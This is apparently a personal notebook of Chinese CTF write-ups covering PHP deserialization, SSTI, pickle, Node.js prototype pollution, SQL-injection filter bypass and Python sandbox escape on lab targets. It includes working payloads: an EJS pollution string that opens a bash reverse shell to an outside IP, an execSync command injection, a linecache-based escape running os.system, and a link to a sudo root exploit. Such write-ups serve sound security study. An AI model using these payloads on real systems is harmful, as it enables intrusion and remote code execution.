[BJDCTF 2020]just a rar#
下载附件提示为四位数密码rar
爆破易得

使用exiftool来查看图片信息可得
flag{Wadf_123}
[陇剑杯 2021]ios(问7)#
一位ios的安全研究员在家中使用手机联网被黑,不仅被窃密还丢失比特币若干,请你通过流量和日志分析后作答:
黑客访问/攻击了内网的几个服务器,IP地址为**____**。(多个IP之间按从小到大排序,使用#来分隔,例如127.0.0.1#192.168.0.1)。得到的flag请使用NSSCTF{}格式提交。
下载附件得到了一份log,一份keylog,一份pcap
打开流量文件不出意外tls加密,编辑,首选项,Protocols,tls,导入keylog,文件自动刷新
过滤tls流量 看到有一个192.168.1.8的ip,加入过滤

可以看到大量盲注的流量
第一个ip确定,在翻了翻没有看到可疑的流量,回到log文件也没看到.8的ip,细看发现.3访问了upload文件指向的ip是172.28.0.2,不止一个hackip

那么受害ip就是172.28.0.2#192.168.1.12 AND flag{172.28.0.2#192.168.1.12}
[SWPUCTF 2021 新生赛]no_wakeup#
前面其实还有一题反序列化,代码如下
逻辑很简单,只需要
改掉就行,不细说
no_wakeup#
这题需要绕过wakeup
可知wakeup在反序列时候会被调用,他的作用会将passwd转为sha1,遂尝试绕过
在网上查过以后知道,当属性个数大于真实个数就会绕过__wakeup()
遂

[ZJCTF 2019]NiZhuanSiWei#
进入题目看到代码,注解下
那么第一步就是想办法另其为true
他需要text传入的内容等于welcome to the zjctf,可以利用伪协议完成
if这关算是过了,跟踪代码,检测了flag字符串,如果不存在直接把文件带出来

但是不能直接useless.php输入,因为是include包含所以php会被作为代码执行依旧是伪协议php://filter/convert.base64-encode/resource=base64编码带出
解码后得到代码
这里的魔术方法使用的是__tostring(),也就是说在输出的时候自动执行,那么反序列化的构造也就清楚了
查看源码就好

[SWPU 2024 新生引导]Ser1#
代码
先看第一部分__destruct()当对象销毁执行,第二个__tostring()当对象作为字符串输出的时候执行,第三个__call()允许执行一个不存在的对象方法
那么逻辑也出来了将Manbo赋值为 steptw0 对象 使得echo时候调用__tostring(),再将zabuzabu赋值为stepthr33对象之后因为前面的输出会触发调用,而manbo对象不存在所以调用call
[陇剑杯 2023]hard_web_1#
考点是wireshark的使用
问我们开放了那些端口,这里的服务器指的应该是162.180

那么过滤服务器返回客户端的syn ack就好

flag{80,888,8888}
[SWPUCTF 2022 新生赛]ez_ez_unserialize#
代码:
一眼过去就知道要修改的对象是x,但是这里存在了一个__wakeup()检测x是否等于__FILE__如果不等于会再做一次赋值
https://blog.csdn.net/m0_73512445/article/details/132513838
可以用这个方法绕过,修改属性个数,令其不匹配,他有一个cvecve-2016-7124
POP链2#
题解
链条
[HUBUCTF 2022 新生赛]checkin#
反序列化 第一反应是修改user和pass来绕
但是他在引入flag的时候修改了这两个数值
重点在这里
双等于 可以ture绕过
[第五空间 2021]pklovecloud#
反序列化 感觉稍微进阶了一点
先看目标 这里的目标是读取目标 关键点位于
以及一个if的判断点
换到另一个函数,入口是__toString()由下面的echo $logData;触发
那么第一阶段就是
触发$this->cinder = new pkshow;,修改这里就可以完成第二阶段
那么这时候触发的就是ace中的echo_name()了回到ace,现在要解决的就是$this->openstack->neutron === $this->openstack->nova也是卡我最久的一个点,他反序列化了docker中的内容$this->openstack = unserialize($this->docker); 这里让docker等于null即可
第一种的解法
[NSSRound#16 Basic]RCE但是没有完全RCE#
分为两个阶段
先看代码
要求必须不一样
要求md5必须强相等,那就必须真实碰撞了可以使用fastcoll来生成后url编码
第二阶段
这里有一个很有意思的解法
这样操作后eval函数中的样式就是
这么做就让正则验证形同虚设,不可谓不妙
[CISCN 2023 华北]ez_date#
先读代码
经过实验 ($this->a !== $this->b)这个弱比较可以通过字符数字的形式绕过
那么不难注意到重点就是data了,file会经过一次data,在网上找过之后可以发现解决方案为
实验
payload:
[安洵杯 2019]JustBase#
变种base64 没什么难度
先看编码
结尾等于号 猜测是base64 虽然其中有很多不属于64的字符,但尝试赛博厨子解码先

尝试使用!-)替换内容解码
[SWPUCTF 2021 新生赛]PseudoProtocols#
考察伪协议
第一个尝试的肯定是file:///flag
不行,尝试使用php协议
根据提示读取hint.php文件
阅读代码关键在if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag')考虑可以使用用户输入直接进入file_get_contents,考虑使用data伪协议
getflag
[BJDCTF 2020]easy_md5#
可以使用ffifdyop绕过
可以使用0e绕过
可以使用数组绕过
[GWCTF 2019]枯燥的抽奖#
随机数预测,或者爆破也行
代码
重点预测的是
种子有限范围的随机取值
对于php种子的破解可以使用php_mt_seed
前面两个数字用于精确定位24是$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";第24个字符 范围是0到61,依此类推,run就行
这个就是吃运气了 wp题解里面有人爆破了几个小时

[SWPUCTF 2021 新生赛]hardrce#
取反绕过
过滤了/[a-zA-Z]/is
可以使用
取反(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);绕过
[WUSTCTF 2020]朴实无华#
比较题目,对php的理解
level 1#
数字要小于2020在加1后大于2021
在php5的环境下

原理就是在php5中intval() 不会解析科学计数法
level2#
md5 弱比较,可以使用自身和md5都是0e开头的
0e1137126905
level3#
过滤掉了空格 不允许使用cat,用tac绕过
[NSSRound#18 Basic]Becomeroot#
先看到一个phpinfo

提示flag在root里面
info中有一个hint的信息

搜索可知这是一个后门,版本号也对的上,利用方式
得到基础权限user,但是提权需要find没有东西不是suid,后续在wp中看到说,漏洞位于sudo
版本1.8.31,存在提权 exp:https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit
[NCTF 2018]flask真香#
一道ssti的基础题目,带简单绕过
注入点位于
但是有关键字过滤,可以使用关键字拼接绕过,如果说预期有回显,但却没出现那就是有过滤了
[UUCTF 2022 新生赛]ez_rce#
简单rce
想复杂了,想着使用取反来做执行,但其实可以直接使用`` 来完成执行,再使用
函数来输出,使用‘’绕过,payload
没有第一时间想出来,不应该
[GDOUCTF 2023]hate eat snake#
JS代码审计
我理解了一共思路,如果js代码存在混淆 不要硬刚混淆,一般混淆都是flag的输出部分,如果能让获胜条件发生修改,或者让难度发生变化也是解题的方法
例如这道题目,可以将控制时间递增的代码关掉玩60秒,也可以将分数递增的代码直接改满
[NISACTF 2022]babyserialize#
哎 反序列化
先找入口和出口
入口位于TianXiWei的__wakeup(),出口位于NISA的__invoke()
入口__wakeup()触发将$ext指向Ilovetxw触发__call在将a->ext->huang指向four,
设置 public $x = 'sixsixsix';
再将$a->ext->huang->a再指向Ilovetxw()触发另一个__toString()魔术方法,将su指向NISA();触发__invoke()完成调用
不难 主要还是考察对魔术方法的熟悉度。。。不是非常熟悉做起来非常累人
[NISACTF 2022]babyupload#
一个少见的python漏洞
代码:
关键在于os.path.join("uploads/", res[0]), "r")函数 他存在一个漏洞,如果拼接的字符串是绝对路径 那么前面路径就会被忽略
让filename="/flag"即可
[NSSRound#13 Basic]flask?jwt?(hard)#
flask_session伪造
找key
在登入后的界面看到了

这个页面需要在未登入的情况下访问,从报错中获得密钥
伪造密钥
[GHCTF 2024 新生赛]理想国#
访问网站

json,用ai简单过一遍
就是说需要token才能访问到文件,那么先进行一个注册

访问登入,获得用户token

进行任意文件读取

可以通过读取/proc/self虚拟文件来获得当前进程的系统信息
例如/proc/self/cmdline可以读取到当前的文件名与/proc/self/environ可以读取到当前环境的环境变量


这里有一个关键信息SECRET_KEY=B3@uTy_L1es_IN_7he_EyEs_0f_Th3_BEh0ld3r
尝试读取源代码

阅读代码,可以找到flag点
check位置
截至这里就可以知道我们需要访问/enterIdealState,使用Plato的token即可获得flag,再加上我们已经获得了密钥可以在网站工具https://www.bejson.com/jwt/对token进行伪造

访问/enterIdealState

[HNCTF 2022 WEEK3]ssssti#
下划线,引号
使用request绕过
可以将payload传入cookies
假设要执行
按照以上逻辑可拆分为

[NSSRound#6 Team]check(V1)#
巧妙的解题思路
先读代码
文件上传
这是一个文件上传,允许上传的只有tar格式,有对文件路径遍历的检查,但是没有检查软链接,如果上传一个软链接到/flag的文件
payload:
[NSSRound#13 Basic]ez_factors#
题目说明:原生 Linux 因数爆破工具。flag在根目录
漏洞是联合命令执行,学到一个命令 od 可以将命令执行结果转化为数字

之后再转换回来就好
[MoeCTF 2022]ezphp#
关键
如果没有这个判断直接传入flag=flag即可调用到
将flag带出

所以可以迂回下,?a=flag&flag=a,等价于flag=flag
[安洵杯 2020]Normal SSTI#
需要绕过,简单测试 过滤了{{}} config . _ []等等
可以使用|attr加unicode绕过
测试过发现lipsum没有过滤
所以可以构建出
字典:
[CISCN 2019华东南]Web4#
flask_session伪造
网站存在一个任意文件读取,虽然不能使用file协议,但可以使用local_file协议

源码审计
关键点在于
其中的uuid.getnode()是获取了本机的mac地址,应该是以整数形式乘以了233,在linux环境下可以通过读取/sys/class/net/网卡/address来获取mac地址

mac地址本质上是16进制,通过python2环境找出随机数
再使用flask_session_cookie_manager伪造密钥
值得一提的是这道题目有坑,他是python2的环境
prize_p4#
访问得到一个奇怪的前端
随便输入点什么,发现有一个/getkey
关键点是
若请求不等于GET,则返回SECRET_KEY可以使用类似GET的HEAD请求
返回
解码session
得到key,解码 伪造
得到
关键点位于
任意文件读取,如果存在字符则返回you get it
盲注
[NSSRound#13 Basic]MyWeb#
阅读代码
在本地尝试的时候一直打不动,根据wp,重点在
需要让eval处执行的命令变为
wp给出了一个非常精巧的解题思路
%0a是换行符\n的url编码不难推导出,写入tmp的信息变成了
很巧妙的命令执行
[NSSRound#8 Basic]Upload_gogoggo#
wow My.go(不是)
一个文件上传,上传后的信息是
编译,尝试构建一个反弹shell
这题还藏flag
[GHCTF 2025] (>﹏<)#
题目说明了是xxe
最开始不知道为什么payload打不进去,url编码也不行,后续研究了下,不能只编码特殊字符全部编码即可
[FSCTF 2023]加速加速#
条件竞争,需要点运气和网速
分为两个包
上传包
读取包
当文件上传后,会在服务器存在一小段时间后删除,这时候如果同时读取就有机会读取到
条件竞争#
某些不健全的文件上传场景中,我们上传的文件会先保存而后检查文件风险,如果存在风险则会被删除,通过大量发包在删除前成功读取到访问到文件,就可以算作攻击成功


[羊城杯 2020]Blackcat#
先看代码
关键点
如果传入的White-cat-monitor是数组,会导致$clandestine为null,这时就可以预测下面的hash_hmac
payload:
[MTCTF 2022]easypickle#
先看代码
第一眼看到的是pickle.loads函数,反序列化输入字符,然后是app.config['SECRET_KEY'] = os.urandom(2).hex()可能要session伪造
先看session的密钥生成逻辑
一个随机数字,两个字符的hex
爆破可得
接下来就是反序列化,看下逻辑
不算复杂,从session中获取ser_data将其中的builtin替换为Builtin,os替换为Os,bytes替换为Bytes
payload#
先不管绕过,先做payload,因为没有回显只能使用反弹shell来完成连接
打进去后显示是error,debug下发现,会触发waf,尝试了很久都没有绕过,后续查wp他用的opcode是手动构建的,着实有点超纲
成功绕过,之后使用反弹shell,应为需要使用到-i可以使用unicode编码
base64编码,写入session,打出去就可以
这里有个天坑这个靶机sh走不了伪设备,需要再套一层bash也就是
处理成unicode编码即可
[HZNUCTF 2023 preliminary]pickle#
又是一道反序列化,先看代码
一个函数是任意文件读取,一个函数是反序列化
过滤了os
可以通过eval来绕过,将执行结果传入文件再读取
[SWPUCTF 2022 新生赛]ez_1zpop#
php反序列化
出口位于 fin class的 fmm函数,需要控制$b和title
真正的入口位于__destruct(),在这里触发toString修改变量使用0x绕过md5判断,修改impo指向fmm完成调用
[西湖论剑 2022]Node Magical Login#
源代码:https://github.com/CTF-Archives/2022-xhlj-web-node_magical_login
main关键点
对应的代码
flag2
先看flag1关键点是
获得一半的flagNSSCTF{ac7516ed-eb81
在看flag2的代码,如果想要触发则需要使得
发生错误,从而触发catch (__) {}代码块,可以构造数组来触发错误
flag
[suctf 2019]checkin#
全新知识点

当上传图片的时候可以看到回显了两个内容,是上传的目录文件,存在一个我们上传的文件和一个php文件
可以使用.user.ini+图片马来构建一句话木马,先上传ini
在上传图片马
[GKCTF 2020]ez三剑客-easynode#
safer-eval漏洞
先看代码
两个关键点
这里有一个新的知识点,setTime溢出绕过,因为底层使用的是32位的有符号整数所以最大值是2147483647
如果传入2147483648则会导致setTime溢出立刻执行
回到eva路由
这里用到的库存在沙箱逃逸,可以使用
来完成逃逸
[HZNUCTF 2023 final]eznode#
vm2沙箱逃逸
可以看到一个非常直球的merge函数,和backdoor函数,运行原型链污染后的代码
关键在vm2的绕过,详细可以看https://xz.aliyun.com/news/11305
然后注意需要存在shit,Content-Type: application/json
pass
[鹏城杯 2022]压缩包#
先看代码
可以看到文件是先解压后遍历的一个方式,如果我们在遍历删除前就对其进行访问就可以做到条件竞争。。。理论上是这样的 但我尝试了很久都没有成功,就换了一个方法
失败解压
他的解压是套在一个if中的,可以在linux中构建出一个不符合规则的zip压缩包在成功解压木马的时候使得他报错
没接触过的知识点+1
[GKCTF 2021]easynode#
打开是一个登入口,先看代码
app.post('/login',function(req,res,next){
let username = req.body.username;
let password = req.body.password;
safeQuery(username,password).then(
result =>{
if(result[0]){
const token = generateToken(username)
res.json({
"msg":"yes","token":token
});
}
else{
res.json(
{"msg":"username or password wrong"}
);
}
}
).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
})
let safeQuery = async (username,password)=>{
const waf = (str)=>{
// console.log(str);
blacklist = ['\\','\^',')','(','\"','\'']
blacklist.forEach(element => {
if (str == element){
str = "*";
}
});
return str;
}
const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
if (waf(str[i]) =="*"){
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}
}
return str;
}
username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
// console.log(sql);
result = JSON.parse(JSON.stringify(await select(sql)));
return result;
}
这里要打一个sql注入,但是做了过滤,需要绕过使用单引号闭合
在这里挠头挠了很久,后来在一个wp里看到了这样的解
let testUsername = ["' or 1 #",")"];
let testPassword = '123456';
safestr函数会判断数组中两个数值的内容又因为)触发了
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
从而绕过了对‘的检查
那么就可以构造
username[]=' or 1 #&username[]=(&password=foo
成功登入,回到代码,可以看到引入使用CVE-2021-2594
var extend = require("js-extend").extend
var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
extend(board,JSON.parse(addDIV));
根据代码/adminDIV我们可控的是data的数据,可以ejs原型链污染来完成代码执行,但需要username也可控,他的可控点位于addAdmin函数中
app.post("/addAdmin",async (req,res,next) => {
let username = req.body.username;
let password = req.body.password;
const token = req.cookies.token
let result = verifyToken(token);
if (result !='err'){
gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});
var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);
select(sql).then(close()).catch( (err)=>{console.log(err)});
var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);
console.log(sql);
select(sql).then(close()).catch( (err)=>{console.log(err)});
res.end('add admin successful!')
}
else{
res.end('stop!!!');
}
});
创建一个名字为__proto__ 的用户在做污染
{"outputFunctionName":"__tmp1;return global.process.mainModule.constructor._load('child_process').execSync('**/bin/bash -i >& /dev/tcp/45.192./8872 0>&1**'); __tmp2"}
理论上出来了,但nss无动于衷
[SEETF 2023]Express JavaScript Security pbidle#
先看给出的附件
index.js
const express = require('express');
const ejs = require('ejs');
const app = express();
app.set('view engine', 'ejs');
const BLACKLIST = [
"outputFunctionName",
"escapeFunction",
"localsName",
"destructuredLocals"
]
app.get('/', (req, res) => {
return res.render('index');
});
app.get('/greet', (req, res) => {
const data = JSON.stringify(req.query);
if (BLACKLIST.find((item) => data.includes(item))) {
return res.status(400).send('Can you not?');
}
return res.render('greet', {
...JSON.parse(data),
cache: false
});
});
app.listen(3000, () => {
console.log('Server listening on port 3000')
})
readflag.c
#include <stdio.h>
#include <stdlib.h>
int main()
{
setuid(0);
system("/bin/cat /root/flag.txt");
return 0;
}
DockerFile
FROM node:18-bullseye-slim
RUN apt-get update && \
apt-get install -y dumb-init gcc && \
rm -rf /var/lib/apt/lists/*
RUN addgroup ejs && \
adduser --disabled-password --gecos "" --ingroup ejs ejs
WORKDIR /home/ejs/app
RUN chown -R ejs:ejs .
COPY views ./views
COPY main.js package.json ./
RUN npm install
COPY flag.txt /root/flag.txt
COPY readflag.c /readflag.c
RUN gcc -o /readflag /readflag.c && rm /readflag.c
RUN chmod +rxs /readflag
USER ejs
ENTRYPOINT ["/usr/bin/dumb-init", "--"]
CMD ["node", "./main.js"]
有一个关键点,他ban了outputFunctionName 这说明这道题目只有原型链污染和模板注入这两个可能,根据
https://github.com/mde/ejs/issues/730
可以找到其他的可污染对象作为利用
根据其可以构造出
greet?name=1&font=Arial&fontSize=20&settings[view options][client]=1&settings[view options][escape]={}.constructor.constructor("return process.mainModule.require('child_process').execSync('/readflag >> /home/ejs/app/views/index.ejs')")
去执行readflag,将他输出到index.ejs,来读取flag

[NSSRound#12 Basic]strange python#
很有意思的一道题目
拿到的是一个标准python shell,命令执行没有限制,但是权限很低,通过env看到并没有flag,也没有放在根目录下
$ env
env
MAIL=/var/mail/ctf
USER=ctf
HOSTNAME=0476e736174f4dea
SHLVL=1
SOCAT_PEERADDR=109.166.37.80
HOME=/home/ctf
SOCAT_PEERPORT=59998
SOCAT_SOCKADDR=172.18.0.10
LC_CTYPE=C.UTF-8
SOCAT_VERSION=1.7.4.1
SOCAT_SOCKPORT=9999
LOGNAME=ctf
_=ls
COLUMNS=80
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
PYTHONSTARTUP=/opt/python/preload.py
SHELL=/bin/sh
PWD=/
SOCAT_PID=27
SOCAT_PPID=10
LINES=24
FLAG=no_FLAG
$ cat /opt/python/preload.py
cat /opt/python/preload.py
cat: /opt/python/preload.py: Permission denied
$ ls -la /opt/python/preload.py
ls -la /opt/python/preload.py
-rwx-w---- 1 root root 209 May 13 06:19 /opt/python/preload.py
可以看到权限很高,回到python shell dir() 命令看到作用域内存在一个__flag__ 读取后是被打乱的flag,猜测就是用preload加载的,既然python能加载,那就可以尝试用python的open命令读取
neko@aosc-neko205 [ ~ ] $ nc node4.anna.nssctf.cn 28111
Python 3.10.6 (main, Mar 10 2023, 10:55:28) [GCC 11.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> dir()
dir()
['__annotations__', '__builtins__', '__doc__', '__flag__', '__loader__', '__name__', '__package__', '__spec__', 'random', 'seed', 'shuffle']
>>> __flag__
__flag__
['9f', '66', '1f', 'SC', '-4', 'd-', '31', '9e', 'd4', 'NS', '9f', 'cf', '8}', 'TF', '-7', '16', '26', '5b', '57', '88', '{d', '1-']
>>> open('/opt/python/preload.py').read()
open('/opt/python/preload.py').read()
'import re\nimport random\nfrom random import shuffle\nseed=114514\nrandom.seed(114514)\nflag="NSSCTF{dd457881-1626-4cfd-9f31-75b9e9f661f8}"\nflag=re.findall(r\'.{2}\', flag)\nshuffle(flag)\n__flag__=flag\ndel re\ndel flag'
>>>
[NCTF 2018]baby Python#
测试过后会发现,如果成功执行会返回Wh4t_Th3_Err0r? ,要回显需要print
>>> print(dir())
['Th1s_1S_WAF', '__builtins__', '__doc__', '__file__', '__name__', '__package__', 'data', 'no', 'print_function', 'targets', 'x']
>>> print(Th1s_1S_WAF)
['import', 'exec', 'eval', 'pickle', 'os', 'subprocess', 'input', 'cry sum more', 'sys', 'linecache', 'globals', 'flag', 'file', 'pop', 'getattr', 'class', 'mro', 'bases', 'subclasses', 'init', ']', '[']
>>>
WAF应该就是ban表
>>> print(__builtins__.__dict__)
{'dir': <built-in function dir>, 'print': <built-in function print>, 'raw_input': <built-in function raw_input>}
夸张。。内置被删干净了,那就从继承链条来逃逸,先找下他的子类
>>> print([].__class__.__base__.__subclasses__())Wh4t_Th3_Err0r?
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
找了很久,发现可以使用<class 'warnings.catch_warnings'> 在比对了本地的python2和靶机的环境后发现两者的子类列表没有什么区别,遂用本地的python2跑表
for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
(59, <class 'warnings.catch_warnings'>)
print([].__class__.__base__.__subclasses__()[59].__init__.__globals__)
找linecache模块,init调用globals返回函数所在模块的所有全局变量
>>> print([].__class__.__base__.__subclasses__()[59].__init__.__globals__)
{'filterwarnings': <function filterwarnings at 0x7f094be1c7d0>, 'once_registry': {}, 'WarningMessage': <class 'warnings.WarningMessage'>, '_show_warning': <function _show_warning at 0x7f094be1c450>, 'filters': [('ignore', None, <type 'exceptions.DeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.PendingDeprecationWarning'>, None, 0), ('ignore', None, <type 'exceptions.ImportWarning'>, None, 0), ('ignore', None, <type 'exceptions.BytesWarning'>, None, 0)], '_setoption': <function _setoption at 0x7f094be1cbd0>, 'showwarning': <function _show_warning at 0x7f094be1c450>, '__all__': ['warn', 'warn_explicit', 'showwarning', 'formatwarning', 'filterwarnings', 'simplefilter', 'resetwarnings', 'catch_warnings'], 'onceregistry': {}, '__package__': None, 'simplefilter': <function simplefilter at 0x7f094be1c8d0>, 'default_action': 'default', '_getcategory': <function _getcategory at 0x7f094be1ca50>, '__builtins__': {'dir': <built-in function dir>, 'print': <built-in function print>, 'raw_input': <built-in function raw_input>}, 'catch_warnings': <class 'warnings.catch_warnings'>, '__file__': '/usr/local/lib/python2.7/warnings.pyc', 'warnpy3k': <function warnpy3k at 0x7f094be1c9d0>, 'sys': <module 'sys' (built-in)>, '__name__': 'warnings', 'warn_explicit': <built-in function warn_explicit>, 'types': <module 'types' from '/usr/local/lib/python2.7/types.pyc'>, 'warn': <built-in function warn>, '_processoptions': <function _processoptions at 0x7f094be1c950>, 'defaultaction': 'default', '__doc__': 'Python part of the warnings subsystem.', 'linecache': <module 'linecache' from '/usr/local/lib/python2.7/linecache.pyc'>, '_OptionError': <class 'warnings._OptionError'>, 'resetwarnings': <function resetwarnings at 0x7f094be1c850>, 'formatwarning': <function formatwarning at 0x7f094be1c750>, '_getaction': <function _getaction at 0x7f094be1cad0>}
其中的目标就是
<module 'linecache' from '/usr/local/lib/python2.7/linecache.pyc'>
>>> print(dir([].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']))
['__all__', '__builtins__', '__doc__', '__file__', '__name__', '__package__', 'cache', 'checkcache', 'clearcache', 'getline', 'getlines', 'os', 'sys', 'updatecache']
>>> print([].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].os.system('id'))
uid=0(root) gid=0(root) groups=0(root)
0
pass